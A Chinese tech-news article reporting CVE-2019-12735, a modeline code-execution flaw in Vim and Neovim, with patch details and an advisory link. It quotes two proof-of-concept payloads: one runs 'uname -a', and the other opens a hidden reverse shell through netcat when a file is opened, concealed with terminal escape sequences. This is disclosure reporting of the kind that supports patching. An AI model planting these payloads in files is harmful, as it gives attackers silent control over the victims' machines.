源码库

站长新闻

源码库-站长新闻-站长新闻- 正文

Vim 与 Neovim 曝出任意代码执行漏洞

2019-06-15 源码库 开源中国 大字

安全研究人员发现Vim 与 Neovim 中存在一个任意执行漏洞,允许黑客在用户打开恶意文本文件时控制计算机。漏洞影响 Vim 8.1.1365 与Neovim 0.3.6 之前的所有版本。

Vim,Neovim,漏洞

该漏洞存在于编辑器的 modeline(模式行)功能,此功能允许用户在文本文件的开头或结尾设置窗口尺寸和其它自定义选项,它在一个被操作系统封锁的沙箱中运行,并且可用命令也被限制,但是研究人员 Arminius发现了绕过该安全保护的方法。

目前漏洞已经被编号为CVE-2019-12735,Arminius 也释出了两个概念验证。

第一个是直接利用该漏洞使系统执行`uname -a`命令:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另一个利用方式更加深入,一旦用户打开文件就自动启动反向 shell。为了隐藏攻击,文件将在打开时立即重写。此外,当使用 cat 输出内容时,攻击还使用终端转义序列隐藏 modeline:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Vim,Neovim,漏洞

目前补丁也已经释出:

Vim patch 8.1.1365

Neovim patch(released inv0.3.6)

更具体的细节见:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

标签
漏洞
Neovim
vim
分享到:

相关阅读

阅读排行